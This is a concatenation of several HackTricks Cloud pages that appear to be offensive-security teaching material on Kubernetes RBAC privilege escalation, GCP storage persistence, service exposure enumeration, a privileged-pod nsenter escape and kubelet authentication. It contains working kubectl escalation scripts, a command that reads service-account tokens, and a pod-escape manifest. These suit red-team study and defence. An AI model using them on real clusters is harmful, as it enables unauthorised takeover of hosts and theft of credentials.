Test # Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere echo 'apiVersion: v1 kind: ServiceAccount metadata: name: test-sa --- kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-r rules: - apiGroups: ["apps"] resources: ["daemonsets"] verbs: ["get", "list", "patch"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test-rb subjects: - kind: User name: Test roleRef: kind: Role name: test-r apiGroup: rbac.authorization.k8s.io --- kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-cr rules: - apiGroups: [""] resources: ["secrets"] verbs: ["get", "list", "delete", "patch", "create"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: test-crb subjects: - kind: ServiceAccount namespace: default name: test-sa apiGroup: "" roleRef: kind: ClusterRole name: test-cr apiGroup: rbac.authorization.k8s.io --- apiVersion: apps/v1 kind: DaemonSet metadata: name: alpine namespace: default spec: selector: matchLabels: name: alpine template: metadata: labels: name: alpine spec: automountServiceAccountToken: false hostNetwork: true containers: - name: alpine image: alpine command: ['/bin/sh'] args: ['-c', 'sleep 100']' | kubectl apply -f - # Check user User can get pods in namespace default kubectl --as Test -n default get daemonsets # Create a daemonset as user Test with the SA test-sa (privesc step) echo "apiVersion: apps/v1 kind: DaemonSet metadata: name: alpine namespace: default spec: selector: matchLabels: name: alpine template: metadata: labels: name: alpine spec: serviceAccountName: test-sa automountServiceAccountToken: true hostNetwork: true containers: - name: alpine image: alpine command: ['/bin/sh'] args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f - # Connect to the pod created an confirm the attached SA token belongs to test-sa kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d # Clean the scenario kubectl delete daemonset alpine kubectl delete clusterrolebinding test-crb kubectl delete clusterrole test-cr kubectl delete rolebinding test-rb kubectl delete role test-r kubectl delete serviceaccount test-sa **Doesn't work:** * **Create a new RoleBinding** just with the verb **create** * **Create a new RoleBinding** just with the verb **patch** (you need to have the binding permissions) * You cannot do this to assign the role to yourself or to a different SA * **Modify a new RoleBinding** just with the verb **patch** (you need to have the binding permissions) * You cannot do this to assign the role to yourself or to a different SA bash echo 'apiVersion: v1 kind: ServiceAccount metadata: name: test-sa --- apiVersion: v1 kind: ServiceAccount metadata: name: test-sa2 --- kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-r rules: - apiGroups: ["rbac.authorization.k8s.io"] resources: ["rolebindings"] verbs: ["get", "patch"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test-rb subjects: - kind: User name: Test roleRef: kind: Role name: test-r apiGroup: rbac.authorization.k8s.io --- kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-r2 rules: - apiGroups: [""] resources: ["pods"] verbs: ["get", "list", "delete", "patch", "create"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test-rb2 subjects: - kind: ServiceAccount name: test-sa apiGroup: "" roleRef: kind: Role name: test-r2 apiGroup: rbac.authorization.k8s.io' | kubectl apply -f - # Create a pod as user Test with the SA test-sa (privesc step) echo "apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test-r2 subjects: - kind: ServiceAccount name: test-sa2 apiGroup: "" roleRef: kind: Role name: test-r2 apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f - # Connect to the pod created an confirm the attached SA token belongs to test-sa kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d # Clean the scenario kubectl delete rolebinding test-rb kubectl delete rolebinding test-rb2 kubectl delete role test-r kubectl delete role test-r2 kubectl delete serviceaccount test-sa kubectl delete serviceaccount test-sa2 In the "Privilege Escalation Prevention and Bootstrapping" section of [https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/](https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/) it's mentioned that if a SA can create a Binding and has explicitly Bind permissions over the Role/Cluster role, it can create bindings even using Roles/ClusterRoles with permissions that it doesn't have. However, it didn't work for me: yaml # Create 2 SAs, give one of them permissions to create clusterrolebindings # and bind permissions over the ClusterRole "admin" echo 'apiVersion: v1 kind: ServiceAccount metadata: name: test-sa --- apiVersion: v1 kind: ServiceAccount metadata: name: test-sa2 --- kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-cr rules: - apiGroups: ["rbac.authorization.k8s.io"] resources: ["clusterrolebindings"] verbs: ["get", "create"] - apiGroups: ["rbac.authorization.k8s.io/v1"] resources: ["clusterroles"] verbs: ["bind"] resourceNames: ["admin"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: test-crb subjects: - kind: ServiceAccount name: test-sa namespace: default roleRef: kind: ClusterRole name: test-cr apiGroup: rbac.authorization.k8s.io ' | kubectl apply -f - # Try to bind the ClusterRole "admin" with the second SA (won't work) echo 'apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: test-crb2 subjects: - kind: ServiceAccount name: test-sa2 namespace: default roleRef: kind: ClusterRole name: admin apiGroup: rbac.authorization.k8s.io ' | kubectl --as system:serviceaccount:default:test-sa apply -f - # Clean environment kubectl delete clusterrolebindings test-crb kubectl delete clusterrolebindings test-crb2 kubectl delete clusterrole test-cr kubectl delete serviceaccount test-sa kubectl delete serviceaccount test-sa yaml # Like the previous example, but in this case we try to use RoleBindings # instead of CLusterRoleBindings echo 'apiVersion: v1 kind: ServiceAccount metadata: name: test-sa --- apiVersion: v1 kind: ServiceAccount metadata: name: test-sa2 --- kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-cr rules: - apiGroups: ["rbac.authorization.k8s.io"] resources: ["clusterrolebindings"] verbs: ["get", "create"] - apiGroups: ["rbac.authorization.k8s.io"] resources: ["rolebindings"] verbs: ["get", "create"] - apiGroups: ["rbac.authorization.k8s.io/v1"] resources: ["clusterroles"] verbs: ["bind"] resourceNames: ["admin","edit","view"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test-rb namespace: default subjects: - kind: ServiceAccount name: test-sa namespace: default roleRef: kind: ClusterRole name: test-cr apiGroup: rbac.authorization.k8s.io ' | kubectl apply -f - # Won't work echo 'apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test-rb2 namespace: default subjects: - kind: ServiceAccount name: test-sa2 namespace: default roleRef: kind: ClusterRole name: admin apiGroup: rbac.authorization.k8s.io ' | kubectl --as system:serviceaccount:default:test-sa apply -f - # Clean environment kubectl delete rolebindings test-rb kubectl delete rolebindings test-rb2 kubectl delete clusterrole test-cr kubectl delete serviceaccount test-sa kubectl delete serviceaccount test-sa2 In this example we try to create a role having the permissions create and path over the roles resources. However, K8s prevent us from creating a role with more permissions the principal creating is has: yaml # Create a SA and give the permissions "create" and "patch" over "roles" echo 'apiVersion: v1 kind: ServiceAccount metadata: name: test-sa --- kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-r rules: - apiGroups: ["rbac.authorization.k8s.io"] resources: ["roles"] verbs: ["patch", "create", "get"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test-rb subjects: - kind: ServiceAccount name: test-sa roleRef: kind: Role name: test-r apiGroup: rbac.authorization.k8s.io ' | kubectl apply -f - # Try to create a role over all the resources with "create" and "patch" # This won't wotrk echo 'kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-r2 rules: - apiGroups: [""] resources: ["*"] verbs: ["patch", "create"]' | kubectl --as system:serviceaccount:default:test-sa apply -f- # Clean the environment kubectl delete rolebinding test-rb kubectl delete role test-r kubectl delete role test-r2 kubectl delete serviceaccount test-sa tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GCP - Storage Persistence - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 2 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. For more information about Cloud Storage check: [GCP - Storage Enum](../gcp-services/gcp-storage-enum.html) You can create an HMAC to maintain persistence over a bucket. For more information about this technique [**check it here**](../gcp-privilege-escalation/gcp-storage-privesc.html#storage.hmackeys.create) . bash # Create key gsutil hmac create # Configure gsutil to use it gsutil config -a # Use it gsutil ls gs://[BUCKET_NAME] Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py) . **Making a bucket publicly accessible** is another way to maintain access over the bucket. Check how to do it in: [GCP - Storage Post Exploitation](../gcp-post-exploitation/gcp-storage-post-exploitation.html) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GCP - App Engine Unauthenticated Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 2 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. For more information about App Engine check: [GCP - App Engine Enum](../gcp-services/gcp-app-engine-enum.html) As mentioned the URL assigned to App Engine web pages is **`.appspot.com`** and if a service name is used it'll be: **`-dot-.appspot.com`**. As the **`project-uniq-name`** can be set by the person creating the project, they might be not that random and **brute-forcing them could find App Engine web apps exposed by companies**. You could use tools like the ones indicated in: [GCP - Unauthenticated Enum & Access](./index.html) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Exposing Services in Kubernetes - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 7 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. There are **different ways to expose services** in Kubernetes so both **internal** endpoints and **external** endpoints can access them. This Kubernetes configuration is pretty critical as the administrator could give access to **attackers to services they shouldn't be able to access**. Before starting enumerating the ways K8s offers to expose services to the public, know that if you can list namespaces, services and ingresses, you can find everything exposed to the public with: bash kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do echo "Namespace: $ns" kubectl get service -n "$ns" kubectl get ingress -n "$ns" echo "==============================================" echo "" echo "" done | grep -v "ClusterIP" # Remove the last '| grep -v "ClusterIP"' to see also type ClusterIP A **ClusterIP** service is the **default** Kubernetes **service**. It gives you a **service inside** your cluster that other apps inside your cluster can access. There is **no external access**. However, this can be accessed using the Kubernetes Proxy: bash kubectl proxy --port=8080 Now, you can navigate through the Kubernetes API to access services using this scheme: `http://localhost:8080/api/v1/proxy/namespaces//services/:/` For example you could use the following URL: `http://localhost:8080/api/v1/proxy/namespaces/default/services/my-internal-service:http/` to access this service: yaml apiVersion: v1 kind: Service metadata: name: my-internal-service spec: selector: app: my-app type: ClusterIP ports: - name: http port: 80 targetPort: 80 protocol: TCP _This method requires you to run `kubectl` as an **authenticated user**._ List all ClusterIPs: bash kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep ClusterIP When **NodePort** is utilised, a designated port is made available on all Nodes (representing the Virtual Machines). **Traffic** directed to this specific port is then systematically **routed to the service**. Typically, this method is not recommended due to its drawbacks. List all NodePorts: bash kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep NodePort An example of NodePort specification: yaml apiVersion: v1 kind: Service metadata: name: my-nodeport-service spec: selector: app: my-app type: NodePort ports: - name: http port: 80 targetPort: 80 nodePort: 30036 protocol: TCP If you **don't specify** the **nodePort** in the yaml (it's the port that will be opened) a port in the **range 30000–32767 will be used**. ### [](#id-0d96) Exposes the Service externally **using a cloud provider's load balancer**. On GKE, this will spin up a [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) that will give you a single IP address that will forward all traffic to your service. In AWS it will launch a Load Balancer. You have to pay for a LoadBalancer per exposed service, which can be expensive. List all LoadBalancers: bash kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,EXTERNAL-IP:.status.loadBalancer.ingress[*],PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep LoadBalancer ### [](#external-ips) tip External IPs are exposed by services of type Load Balancers and they are generally used when an external Cloud Provider Load Balancer is being used. For finding them, check for load balancers with values in the `EXTERNAL-IP` field. Traffic that ingresses into the cluster with the **external IP** (as **destination IP**), on the Service port, will be **routed to one of the Service endpoints**. `externalIPs` are not managed by Kubernetes and are the responsibility of the cluster administrator. In the Service spec, `externalIPs` can be specified along with any of the `ServiceTypes`. In the example below, "`my-service`" can be accessed by clients on "`80.11.12.10:80`" (`externalIP:port`) yaml apiVersion: v1 kind: Service metadata: name: my-service spec: selector: app: MyApp ports: - name: http protocol: TCP port: 80 targetPort: 9376 externalIPs: - 80.11.12.10 [**From the docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Services of type ExternalName **map a Service to a DNS name**, not to a typical selector such as `my-service` or `cassandra`. You specify these Services with the `spec.externalName` parameter. This Service definition, for example, maps the `my-service` Service in the `prod` namespace to `my.database.example.com`: yaml apiVersion: v1 kind: Service metadata: name: my-service namespace: prod spec: type: ExternalName externalName: my.database.example.com When looking up the host `my-service.prod.svc.cluster.local`, the cluster DNS Service returns a `CNAME` record with the value `my.database.example.com`. Accessing `my-service` works in the same way as other Services but with the crucial difference that **redirection happens at the DNS level** rather than via proxying or forwarding. List all ExternalNames: bash kubectl get services --all-namespaces | grep ExternalName Unlike all the above examples, **Ingress is NOT a type of service**. Instead, it sits **in front of multiple services and act as a “smart router”** or entrypoint into your cluster. You can do a lot of different things with an Ingress, and there are **many types of Ingress controllers that have different capabilities**. The default GKE ingress controller will spin up a [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) for you. This will let you do both path based and subdomain based routing to backend services. For example, you can send everything on foo.yourdomain.com to the foo service, and everything under the yourdomain.com/bar/ path to the bar service. The YAML for a Ingress object on GKE with a [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) might look like this: yaml apiVersion: extensions/v1beta1 kind: Ingress metadata: name: my-ingress spec: backend: serviceName: other servicePort: 8080 rules: - host: foo.mydomain.com http: paths: - backend: serviceName: foo servicePort: 8080 - host: mydomain.com http: paths: - path: /bar/* backend: serviceName: bar servicePort: 8080 List all the ingresses: bash kubectl get ingresses --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,RULES:spec.rules[*],STATUS:status' Although in this case it's better to get the info of each one by one to read it better: bash kubectl get ingresses --all-namespaces -o=yaml * [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0) * [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Pod Escape Privileges - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 2 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. With these privileges you will have **access to the hosts processes** and **enough privileges to enter inside the namespace of one of the host processes**. Note that you can potentially not need privileged but just some capabilities and other potential defenses bypasses (like apparmor and/or seccomp). Just executing something like the following will allow you to escape from the pod: bash nsenter --target 1 --mount --uts --ipc --net --pid -- bash Configuration example: yaml apiVersion: v1 kind: Pod metadata: name: priv-and-hostpid-exec-pod labels: app: pentest spec: hostPID: true containers: - name: priv-and-hostpid-pod image: ubuntu tty: true securityContext: privileged: true command: [\ "nsenter",\ "--target",\ "1",\ "--mount",\ "--uts",\ "--ipc",\ "--net",\ "--pid",\ "--",\ "bash",\ ] #nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Kubelet Authentication & Authorization - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 4 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. [](#kubelet-authentication) ---------------------------- [**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) By default, requests to the kubelet's HTTPS endpoint that are not rejected by other configured authentication methods are treated as anonymous requests, and given a **username of `system:anonymous`** and a **group of `system:unauthenticated`**. The **3** authentication **methods** are: * **Anonymous** (default): Use set setting the param **`--anonymous-auth=true` or the config:** json "authentication": { "anonymous": { "enabled": true }, * **Webhook**: This will **enable** the kubectl **API bearer tokens** as authorization (any valid token will be valid). Allow it with: * ensure the `authentication.k8s.io/v1beta1` API group is enabled in the API server * start the kubelet with the **`--authentication-token-webhook`** and **`--kubeconfig`** flags or use the following setting: json "authentication": { "webhook": { "cacheTTL": "2m0s", "enabled": true }, note The kubelet calls the **`TokenReview` API** on the configured API server to **determine user information** from bearer tokens * **X509 client certificates:** Allow to authenticate via X509 client certs * see the [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) for more details * start the kubelet with the `--client-ca-file` flag, providing a CA bundle to verify client certificates with. Or with the config: json "authentication": { "x509": { "clientCAFile": "/etc/kubernetes/pki/ca.crt" } } [](#kubelet-authentication) ---------------------------- Any request that is successfully authenticated (including an anonymous request) **is then authorized**. The **default** authorization mode is **`AlwaysAllow`**, which **allows all requests**. However, the other possible value is **`webhook`** (which is what you will be **mostly finding out there**). This mode will **check the permissions of the authenticated user** to allow or disallow an action. warning Note that even if the **anonymous authentication is enabled** the **anonymous access** might **not have any permissions** to perform any action. The authorization via webhook can be configured using the **param `--authorization-mode=Webhook`** or via the config file with: json "authorization": { "mode": "Webhook", "webhook": { "cacheAuthorizedTTL": "5m0s", "cacheUnauthorizedTTL": "30s" } }, The kubelet calls the **`SubjectAccessReview`** API on the configured API server to **determine** whether each request is **authorized.** The kubelet authorizes API requests using the same [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) approach as the apiserver: * **Action** | HTTP verb | request verb | | --- | --- | | POST | create | | GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) | | PUT | update | | PATCH | patch | | DELETE | delete (for individual resources), deletecollection (for collections) | * The **resource** talking to the Kubelet api is **always** **nodes** and **subresource** is **determined** from the incoming request's path: | Kubelet API | resource | subresource | | --- | --- | --- | | /stats/\* | nodes | stats | | /metrics/\* | nodes | metrics | | /logs/\* | nodes | log | | /spec/\* | nodes | spec | | _all others_ | nodes | proxy | For example, the following request tried to access the pods info of kubelet without permission: bash curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods' Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy) * We got a **Forbidden**, so the request **passed the Authentication check**. If not, we would have got just an `Unauthorised` message. * We can see the **username** (in this 